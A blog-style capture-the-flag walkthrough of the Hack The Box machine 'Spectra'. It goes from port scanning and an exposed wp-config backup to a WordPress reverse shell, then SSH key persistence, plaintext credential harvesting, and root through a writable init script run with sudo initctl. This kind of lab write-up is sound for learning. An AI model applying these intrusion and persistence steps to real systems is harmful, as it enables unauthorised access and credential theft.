Spectra is an active machine from hackthebox. Unless you are about to choke, I suggest you to take it on your own. Anyways, let’s move to the post. “Spectra Walkthrough – Hackthebox – Writeup”
At first, I will delete the default route set up by the VPN connection.
sudo route del -net default gw 10.10.14.1 netmask 0.0.0.0 dev tun0
Scan open ports
Next, I scanned the open ports on the target machine.
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.229 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -sC -sV -p$ports -oN nmap.log 10.10.10.229
When I looked at the webserver, I found out that the hostname of the target is spectra.htb.
So, I added it in my hosts file.
sudo vi /etc/hosts
Likewise, on the test has a misconfigured database connection.
I luckily tried the /testing path manually before running dirb and found out that it had directory browsing available.
There is an interesting file that looks like the backup of the wp-config.php file. The original file contains the configuration of the wordpress file.
wget http://spectra.htb/testing/wp-config.php.save cat wp-config.php.save
We could try the password to find if the user has reused it on the wordpress website. Also, for the username, we could look at the default first post of the WordPress.
Finally, I got the access to wordpress. Now, I can spawn a reverse shell. Firstly, I tried manually copying the reverse shell to the theme editor. However, the theme editor is broken. So, I used metasploit framework for the purpose.
In this way, I got the foothold.
Get user’s access
As I got the foothold, I wanted to list the users of the target.
cat /etc/passwd | grep bash
nginx has its own directory. So, I added my public key to the authorized keys.
# On the target machine echo __public_key__ > /home/nginx/.ssh/authorized_keys
# On the attacker machine ssh firstname.lastname@example.org -i ~/.ssh/id_rsa
While looking at possible directories, I found a file in the /opt directory.
cd /opt ls -al cat autologin.conf.orig
Inside the directory /etc/autologin, there might be a passwd file that has a password.
cd /etc/autologin ls -al cat passwd
I could login as the user katie with the password.
Like this, I got the shell of the user katie.
Root privilege escalation
To get to the root, I first checked the sudo permissions of the user.
As you can see above, the user can run /sbin/initctl as all users without requiring her password. initctl is a system binary that allows interaction with upstart daemon. Furthermore, when I looked at the init scripts, I found out that some of them have “write” access available.
cd /etc/init ls -al
Also, since the user belongs to the group “developers”, she can write on the file.
# first stop the service sudo initctl stop test
I modified the script and added my ssh public key to the .ssh folder of the root user. Then, I restarted the service.
sudo initctl start test
On the local machine:
ssh email@example.com -i ~/.ssh/id_rsa
Contact me at: https://www.facebook.com/nepcodex